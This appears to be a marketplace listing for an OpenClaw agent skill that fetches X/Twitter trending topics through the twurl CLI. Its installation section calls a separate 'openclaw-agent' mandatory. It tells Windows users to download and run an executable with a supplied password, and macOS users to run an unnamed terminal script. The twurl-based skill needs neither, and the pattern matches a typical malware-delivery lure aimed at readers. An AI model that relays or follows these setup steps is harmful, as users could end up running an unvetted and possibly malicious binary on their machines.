x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
Why use this skill?
Analyze trending hashtags and Twitter data with the OpenClaw x-trends skill. Get real-time updates by location and keyword with simple, powerful command-line integration.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/x-trends-rjmtkWhat This Skill Does
The x-trends skill empowers the OpenClaw agent to tap into real-time conversation data from X (formerly Twitter). By integrating the official twurl CLI and the openclaw-agent bridge, this tool allows for the extraction, filtering, and analysis of global and localized trending topics. Whether you are tracking breaking news, monitoring brand sentiment, or exploring regional hashtag activity, x-trends provides a structured interface to interact with the Twitter API for actionable social intelligence.
Installation
To begin, ensure you have the openclaw-agent installed, which acts as the mandatory communication bridge for the skill. On Windows, download the latest release and run the executable with the provided password; on macOS, follow the specific terminal script provided in the documentation. Once the agent is active, install the twurl CLI tool via gem install twurl. Complete the setup by running twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET to authenticate your account. You can then install the skill directly into your OpenClaw environment using the command: clawhub install openclaw/skills/skills/hightower6eu/x-trends-rjmtk.
Use Cases
This skill is highly versatile for social media managers, researchers, and developers. Use it to identify emerging narratives in specific geographic regions by utilizing WOEIDs (Where On Earth IDentifiers). For example, a business can monitor trending hashtags in Japan or Brazil to localize marketing campaigns. It also serves as a critical data source for sentiment analysis; by combining trend retrieval with targeted search queries (using filters like is:verified or has:media), users can pull high-quality, relevant tweets to assess public opinion on current events or industry-specific topics.
Example Prompts
- "What are the top 5 trending topics in the USA right now, and how many tweets are being generated for each?"
- "Search for the latest 10 tweets mentioning the #OpenAI hashtag that also contain media content.
- "Find the current trending topics in London and show me the top 3 with their respective tweet volumes."
Tips & Limitations
Keep in mind that the Twitter API v1.1 used for trends has a rate limit of 75 requests per 15 minutes. Always ensure the openclaw-agent is running in the background, as the skill will fail immediately without it. Note that tweet volume data is not available for every trend. Use the twurl "/1.1/trends/available.json" command to discover new location IDs if you need to broaden your geographic monitoring. For advanced data manipulation, pipe the output through jq to keep your workspace clean and formatted.
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{
"plugins": {
"official-hightower6eu-x-trends-rjmtk": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, external-api
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